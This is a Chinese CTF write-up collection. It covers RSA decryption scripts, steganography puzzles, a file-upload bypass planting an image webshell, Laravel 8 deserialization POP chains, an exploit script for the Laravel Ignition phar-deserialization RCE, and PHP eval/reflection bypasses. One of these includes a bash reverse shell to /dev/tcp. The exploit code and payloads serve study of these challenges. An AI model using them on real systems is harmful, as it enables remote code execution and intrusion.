c = 51084654001062999676284508744761337160593155669881973332922269056143420517629679695048487021241292007953887627491190341353167847566083172502480747704275374070492531393399916651443961186981687573379323436438906676133035045064486529453649419053918833072924346775468502743027859482041178726542991466613589539914
e = 8336175595129952911533542789423826996569722546516271636161500363234194699197831564741315089461869306051343021000467004786843886241187253481694116720349730349091091395871354352082596957433423648367398183367388782648648524548000549086553610297047964333156830786192545363469852460230159194760278103213655609189
n = 151092363916177851152025151918241584641682210212036254637668925062407387596818893923128056380386244596150134405578253100187360613990057596729265767426618262474915825169178445560157476701330766996735046666440633251722785157310664928275249725806466188778983132016426476941426227570021630850606892034122220619913

d = RSAwienerHacker.hack_RSA(e, n)
m = gmpy2.powmod(c, d, n)
print(libnum.n2s(int(m)))

m2:

import gmpy2
import libnum

c1 = 24168576475826731342981309869386844888048819155804916609868467364828794195081900378454942799582364951590154660883127133517306279315632213654294241046389472660162658285116025022019193389467425762033793233310853287285710051131156746537960416278314488047201950871542871471614834606092674080171837479678908485762
c2 = 59042322068112449729750363498227925481549151238455994334741763136215058751527859574931116063334209500284095818008451340013716449554106507373112252757273078880364298445003064190906862585372984554264625861222115429779924444369582923270264732188891567089849725691839301479707767233813043465943547876632578498984
c3 = 86124343357786577132154304914637897169467679024253471444678880447274558440276584635040507167438356800005540641456548793163113750596432451742228432593182300337042281015596655874375158300461112977200671847176880860698060672936210257455599090524023845268651175379694950602443080246153556268191330489901634436

n1 = 0x57696c78e1d443a3c9211963c721c16e47068eb3b52dfb79ef55af340e7894c7e301a5f38734ddd10e67d0dd2f5759ae0443ca47719d82bfcccc9d26b05043b0b66b253219f266ea133fc613e23dbe14d5f731c5ad4158286a1139e2927b8a485df0e662d77277f61f4ff334a24b51959e399e5e778b6934897b6b9f4b315207
n2 = 0xc7e5c4318b4376a93588ea853a70f5576aaa3a291acff806f87b00b01443edfd9298915343e8d219fc09ab464c02d12fa72abb0e70d40b12c63274bcf4a61ccb7c81d42fbb04f54e9ce972c3467c851932ecf8f0ada57f56ee91dad3837669fc501d69c68dce305d62cd1f09acff28874792ef343fca185bdc9d2432fd45d3d1
n3 = 0x8d0899da21f7a50a5a869b0914fdfbc7d67aa85941021403889d24cb5b8029dd45a14e02f83dba7c21b3759fb152e045dcad6f11421e578a1b01d5e0b077810fc33e5f8d6d8e3623d278c908bbf7f4f7adb7224014e1f14272214e1a05cf4314dd950290fddbec9870be2c1d100bcdaf7056a1b909a400bb1f549efbede68bcf

N = n1 * n2 * n3
N1 = n2 * n3
N2 = n1 * n3
N3 = n1 * n2
d1 = gmpy2.invert(N1, n1)
d2 = gmpy2.invert(N2, n2)
d3 = gmpy2.invert(N3, n3)

tmp = (c1*d1*N1 + c2*d2*N2 + c3*d3*N3) % N
m = gmpy2.iroot(tmp, 3)
print(libnum.n2s(int(m[0])))

m3:

rsa

import gmpy2
import libnum

p = 126596896828983947657897211653294325357694173315986362964483543178327683872006349352506228192861938882562062524573153829867465009733178457399135420215887364009777012624212242069216745138202953735034716032666189414323613790242613717531697843979604409625853777348356827810939640137432278820298916431800157020739
n = 12382768780688845948585828171746451695620690637388724603203719934675129634162669400211587652801497553140445052212955447547285342951827548927777971592012005336108991182804517438932388430909818349339928033362693776498198280566445301283769762658236093273135470594245556180103947875110497679850836950853434075025187940546602828416710260312146348085635062790163306288554171471977697811571151068804586709977754482736587083043633360827556846476139372134496068081264161278183780518986923815627524813237434789592133132430580528353375704616450593022343415392743694469637309237497448893478902243349283615118435345397909237495251
e = 65537
c = 7479226689503128706443123521570581658668839203982072419275773066090139369387752424856982287500754805036668221578674582111373214400048065981143586768159093517856729586240876781314226713473457848588205839635234624256432258024026698381646902196832849461804350553542541128509121012667792037004716033974053614737451942287543723238730054875983726091182977666880984732837604625557483621161056089767140997756267432137190239967241490004246596723655769407636914860893150081043179313259622038983431488143887092338693868571374510729082940832360819295528352729394196810748661957966996263811903630229686768254608968394381708296458
q = n//p
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))

三段合并得到

So long as men can breathe or eyes can see, So long lives this and this gives life to thee.Chest has a bright ambition, no high can not be climbed.You never know how strong you really are until being strong is the only choice you have.

md5加密后得到flag

flag{096d9ddd8c911b95d91fa7d6d7460c3c}

MISC

你看看是什么

把文件解压后的test.pacpng直接binwalk分离之后的rar文件里面有个flag.txt

MZWGCZ33MZUW4ZC7OJSWC3C7O5QXSX3UNBQW4X3ZN52V6Y3BNZPXO2LOPU======

直接base32解得flag

flag{find_real_way_than_you_can_win}

小猪的家

用Stegsolve发现pig.png有25帧,并且每一帧都有一小部分二维码如下

image-20210523160035744

把这些二维码拼接起来,扫码得到3faf86140,然后同样binwalk分离pig.png发现有个out/pigpen.png,用3faf86140为密码解压,里面是猪圈密码,用网上得密码表一个个对着写即可获取flag

flag{this_isa_pigpen_fake_flag}

misc2(忘记啥名字了)

解了一半和国赛那个坐标画图得基本一样坐标没找全画出这个玩意:

image-20210523193636029

[CISCN2021 Quals]upload

代码审计

题目给出源码index.php、example.php.

index.php明显是一个上传,做出了如下限制。

  1. 上传需要绕过getimagesize
  2. 图片的长宽必须为1.
  3. 文件名不能有c、i、h

绕过getimagesize比较简单使用XMB头就行了

#define test_width 1
#define test_height 1

图片名绕过stristr这一点想了比久直到看到mb_strtolower,发现他可以使用Unicode

image-20210516222420731

在谷歌找到这么一篇文章https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/

通过fuzz可以知道部分字母在经过mb_strtolower处理过可以等效普通字母的。

i可以用(%C5%BF)代替。本来以为可以直接上传php,无奈没有相关字母可以代替。这个还得看example.php下面结合example.php再具体分析。

 <?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="upload") {
    if ($_FILES['postedFile']['size'] > 1024*512) {
        die("这么大个的东西你是想d我吗?");
    }
    $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
    if ($imageinfo === FALSE) {
        die("如果不能好好传图片的话就还是不要来打扰我了");
    }
    if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
        die("东西不能方方正正的话就很讨厌");
    }
    $fileName=urldecode($_FILES['postedFile']['name']);
    if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
        die("有些东西让你传上去的话那可不得了");
    }
    $imagePath = "image/" . mb_strtolower($fileName);
    if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
        echo "upload success, image at $imagePath";
    } else {
        die("传都没有传上去");
    }
}

example的代码可以直接知道咱么需要上传zip格式然后通过这个程序解压,这个正好前面知道i的绕过方法。但是这里需要绕过imagecreatefrompng,imagepng如果直接在图片最后写一个一句话木马,会被GD库给去掉。绕过GD库可以参考这篇文章:http://www.vuln.cn/6411 ,但是这个作者写的脚本有毒图片经过imagepng处理后乱码,浪费了几个小时。最后用这个脚本来生成图片马:https://github.com/huntergregal/PNG-IDAT-Payload-Generator

 <?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="poc") {
    $zip = new \ZipArchive();
    $name_for_zip = "example/" . $_POST["file"];
    if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
        die("要不咱们再看看?");
    }
    if ($zip->open($name_for_zip) !== TRUE) {
        die ("都不能解压呢");
    }

    echo "可以解压,我想想存哪里";
    $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
    $zip->extractTo($pos_for_zip);
    $zip->close();
    unlink($name_for_zip);
    $files = glob("$pos_for_zip/*");
    foreach($files as $file){
        if (is_dir($file)) {
            continue;
        }
        $first = imagecreatefrompng($file);
        $size = min(imagesx($first), imagesy($first));
        $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
        if ($second !== FALSE) {
            $final_name = pathinfo($file)["basename"];
            imagepng($second, 'example/'.$final_name);
            imagedestroy($second);
        }
        imagedestroy($first);
        unlink($file);
    }

}

实践

制作图片马以及压缩包

用上面的脚本直接生成图片马。

image-20210516232251994

然后将图片头给压入压缩包里面。先将下面的文件头写进一个文本文件,注意一定要加一行换行否则识别不出来。因为后面需要解压,这个文件头需要放到压缩包后面。


#define test_width 1
#define test_height 1

用常见的隐写方法:

copy shell.zip/b+b.txt/a sb.zip
image-20210516232922249

绕过文件名检测上传ZIP

image-20210517001809377

解压文件

image-20210517002001649

文件会被解压到example文件夹下

image-20210517002205315

getflag

image-20210517003324748

Laravel8反序列化POP链分析

POP链一

使用\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php__destruct方法。其中eventsevent都可控,那么咱们就可以指定一个存在dispatch方法的类来继续寻找能够RCE的方法,并且这个dispatch必须是可以传参的。

image-20210512152716814

全局搜索在\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php下就存在一个dispatch方法,是一个简单的三目运算。咱们先看如果前面运算为True情况下进入dispatchToQueue有没有RCE的可能。

image-20210512153224762

跟进dispatchToQueue方法可以看到该方法存在调用call_user_func的其中参数1就是dispatch方法下的$this->queueResolver,是可控的,参数2是传入$command变量的一个属性。因此可以知道$command数据类型必须为一个对象。

image-20210512153428951

分析完dispatchToQueue咱们回到dispatch方法。要想进入dispatchToQueue需要queueResolverTrue这个很简单,随便一个函数名就行了。我们只需要看$this->commandShouldBeQueued($command)能否返回为True,我们跟进这个方法。通过该方法注释就能快速看出该方法返回值就是一个Bool类型,怎样才能让其返回true呢?可以看到其对$command的类型进行了判断,只要是 ShouldQueue对象就返回True

image-20210512153958899

因此咱们再找一个 继承ShouldQueue的方法即可。

image-20210512225734552

那么这条链的思路就清晰了,因此构造如下POP链:

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
      public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}

namespace Illuminate\Broadcasting{

    class BroadcastEvent{
        public $connection;
        public function __construct($command){
            $this->connection = $command;
        }
    }
}
namespace Illuminate\Bus{
    class Dispatcher {
    protected $queueResolver;//该属性为call_user_fun的第一个参数
    public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace{
    $b = new Illuminate\Bus\Dispatcher("system");//存在dispatch方法
    $c = new Illuminate\Broadcasting\BroadcastEvent("whoami");
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
    echo urlencode(serialize($a));
}

?>

POP链二

除了寻找存在dispatch方法的还可以找到存在call的类例如laravel/vendor/laravel/framework/src/Illuminate/Validation/Validator.php就存在一个call,代码简单看一下他会对传入的$mothod我们用上一个链的入口那么$mothod的值将会固定为dispatch。而想进入第一个分支则需要在$extensions数组中存在下标为$rule的值,$rule的值是从$mothod的第八位开始取得正好为空,我们只需要定义$extensions[""=>'值']即可进入第一个分支。

image-20210514101236842

我们继续跟进 callExtension方法。可以看到这里使用了动态拼接函数,而这个回调函数($callback)正是$extensions中键名为空的值。参数就是$method所传入的值。

image-20210514101822090

据此可以构造如下POP链:

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
      public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}

namespace Illuminate\Validation{
    class Validator{
         public $extensions = [''=>'phpinfo'];
    }
}

namespace{
    $b = new Illuminate\Validation\Validator();
    $c = 1;
    $a = new Illuminate\Broadcasting\PendingBroadcast($b,$c);
    echo urlencode(serialize($a));
}
?>

漏洞成因

Laravel<8.4.3&&Facade Ignition < 2.5.2 在在Debug模式下,Ignition某些接口并未做过滤,导致file_get_contents()和file_put_contents(),函数参数被控制,黑客可通过控制日志文件引起Phar反序列化执行远程代码.

漏洞分析

假设我们在模板中使用了一个不存在的变量,那么Ignition会提出解决方案使用三目运算符将变量置为空。

WX20210422-091932@2x

我们点击Make variable optional会调用一些方法来替换模板上的变量。我们抓取这个数据包进行分析:

WX20210422-092155@2x

可以看到其调用解决方案在Ignition\\Solutions\\MakeViewVariableOptionalSolution下,并提供两个参数跟别是需要修改的变量,模板文件的位置。

我们先从src/IgnitionServiceProvider.php寻找对应post的路由进行追溯。

3

很明显直接调用了ExecuteSolutionController追溯下去是是一个单行为的控制器,直接将参数传入了run方法.

WX20210422-093035@2x

通过run方法会将参数传递到各个解决方案之中。

WX20210422-093353@2x

我们直接到追溯到src/Solutions/MakeViewVariableOptionalSolution.php

WX20210422-093643@2x

可以观察到,先将参数传入makeOptional处理完毕后若返回值不为null就能够调用到file_put_contents。我们追溯makeOptional方法,可以看到file_get_contents是完全可控的。如果网站存在上传功能可以直接上传phar文件进行反序列化,这里不做讨论。

WX20210422-094346@2x

这里对$parameters['variableName']几乎是不可控的,因为代码使用token_get_all进行了处理,然后同功能遍历返回值进行判断是否存在解析器代号列表中的对应代号,简单的说代码对我们传入的参数进行了PHP结构分析,假设我们修改了参数,代码会进行结果对比阻止我们的行为。

token_get_all() 解析提供的 source 源码字符,然后使用 Zend 引擎的语法分析器获取源码中的 PHP 语言的解析器代号

解析器代号列表见解析器代号列表, 或者使用 token_name() 翻译获取这个代号的字符串表示.

前面说了,file_get_contents所有变量是可控的,我们要想RCE有两条路:①上传文件进行反序列化②写入日志文件进行反序列化

我们接下来来分析第二条路径。laravel默认日志路径存储在storage/logs/laravel.log.假设我们加载一个存在的view错误的日志文件将会存储在这里。

WX20210422-101124@2x

虽日志文件内容可控,但是日志文件后缀无法改变。我们能否写入Phar文件进行反序列化呢?但是日志文件存在许多的“废代码”,但是phar文件必须以__HALT_COMPILER();?>结尾,可以简答理解xxx<?php xxx; __HALT_COMPILER();?>xxx的内容不限。

要想清除多余的代码,我们很容易地联想到P神的谈一谈php://filter的妙用文章巧妙地利用base64的特性吃掉了多余的代码。但是base64是4比特一组但是如果等于号在中间合法的base64字符将不会被忽略,同时观察日志内容,我们注入的代码只是很小的一部分,前后都有对应的堆栈跟踪信息,我很难确保内容不会出错。面对这样的问题,作者提出了将日志内容直接清空的想法。

Trick 1

作者提出存在一个未被官方文档记录的过滤器consumed它能够清除文件内容

php://filter/read=consumed/resource=../storage/logs/laravel.log

Trick 2

php://filter/read=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

先将内容从UTF8转换为UTF16将结果进行quoted-printable编码,之后再转换为UTF-8.之后进行base64解码得到这样就吃掉没有用的字符了。

我们将payload写入之后如何转换为正确的phar文件呢?

我们写入一个较长的Payload观察一下日志有哪些规律。可以看到payload完全出现的地方有两个。

WX20210422-161405@2x

结构可以简单记作:

[x1]payload[x2]payload[x3]

那么怎么才能去掉[x1]….[x2]…[x3]这些非payload的内容呢。我们前面所说,base64没法完全吃掉所有的字符,我们只能将这些字符转换为base64所规定的非法字符。

UTF-16将UTF-16以外的字符转换为base64非法字符

例如:

echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0[x2]p\0a\0y\0l\0o\0a\0d\0[x3]' >test.txt

WX20210425-110616@2x

由于utf-16 使用两个字节所以在后面加多一个字节导致后面解析失败,这样咱们就可以只保留下来一个payload

echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0X[x2]p\0a\0y\0l\0o\0a\0d\0X[x3]' >test.txt

WX20210425-112338@2x

接下来我们需要对空字节进行处理,因为file_get_contents在遇到空字节时候会抛出warning我们需要对空字节进行编码也就是使用convert.quoted-printable-decode

至此转换连构造

php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

综上攻击思路如下:

1. 编码构造 payloadb64 -> quoted-printable ,这里构造好后,还要在末尾添加一字符,确保有且只有一处是完整的 payload 。
2. 清空 log 文件
3. 发送无害 payload 对齐
4. 发送攻击 payload
5. 解码转换 log 至 pharquoted-printable -> utf-16 转 utf-8 -> b64
6. phar 伪协议执行

手动Burpsuite没有复现出来,原因不明,编写脚本复现成功:

其中phar,最终生成的payload加上个a对齐。

php -d "phar.readonly=0" ./phpggc Laravel/RCE7 system id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())>payload.txt

最终

import requests
import json
headers = {
    "Content-Type":"application/json"
}

payload = {
"clean" : "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log",
"add" : "AA",
"phar" : "=50=00=44=00=39=0........00=52=00=42=00=73=00=31=00=72=00=6D=00=61=00=6B=00=59=00=51=00=68=00=6D=00=4E=00=52=00=79=00=32=00=32=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a",
"decode" : "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log",
"attack" : "phar://../storage/logs/laravel.log"
}

url = "http://xxx/_ignition/execute-solution"
for i in payload:
    data={"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters":{
    "variableName":"$name",
    "viewFile":"%s"%(payload[i])
    }
    }
    r = requests.post(url,data=json.dumps(data),headers=headers)
print(r.text)

QQ20210427-231128@2x

参考

https://www.anquanke.com/post/id/231459#h3-5

NepNepCTF-little_trick

  • 这道题当时也是非预期了,记录一下其他人的解法
 <?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?> 

题目比较简单,只要命令长度小于13即可。intval($len)<8这里直接让len等于-1即可

例如:

<?php
echo substr("cat /flagg",0,-1);
?>
 //result:cat /flag

具体原因参考:https://www.php.net/substr/

QQ20210426-224201@2x

直接ls看看

QQ20210426-224359@2x

直接读取即可

QQ20210426-224511@2x

其他人的解法:

?nep=`$nep`;ls>z&len=7 
?nep=`$nep`;>cat&len=7 
?nep=`$nep`;*>z&len=7
或者
`ls>z`;&len=7 
`>cat`;&len=7 
`*>z`;&len=6

两个解法其实是一样的,就是先将文件列表存储在一个文件z里面,写一个叫cat的文件。最后用通配符匹配变成一条命令执行

相当于执行了 cat flag.php index.php

反弹shell

?nep=`$_GET[1]`;;&len=-1&1=bash -i >& /dev/tcp/ip/10110 0>&1

NepNepCTF WEB2

  • 当时非预期了。做个简单的记录利用PHP反射RCE

核心代码如下:

 <?php 
highlight_file(__FILE__);
function waf($s) {
  return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i', "NepnEpneP", $s);
}
if(isset($_GET['a'])) {
  $_ = waf($_GET['a']);
  $__ = waf($_GET['b']);
  $a = new $_($__);
} else {
  $a = new Error('?');
}
if(isset($_GET['c']) && isset($_GET['d'])) {
  $c = waf($_GET['c']);
  $d = waf($_GET['d']);
  eval("\$a->$c($d);");
} else {
  $c = "getMessage";
  $d = "";
  eval("echo \$a->$c($d);");
}
?>
  • PHP反射给出的Demo简单修改一下就能执行任意函数:
<?php
$function = new ReflectionFunction('system');
echo $function->invoke("whoami");
?>
  • 但是题目过滤了sys等关键字,可以另辟蹊径使用invokeArgs配合call_user_func通过拼接字符串的方式绕过过滤执行任意代码。例如:
<?php
$function = new ReflectionFunction('call_user_func');
echo $function->invokeArgs(array('s'.'y'.'s'.'tem','whoami'));
?>

WX20210423-110838@2x

  • EXP
index.php?a=ReflectionFunction&b=call_user_func&c=invokeArgs&d=array(%27s%27.%27y%27.%27s%27.%27tem%27,%27cat%20/f%27.%27lag%27)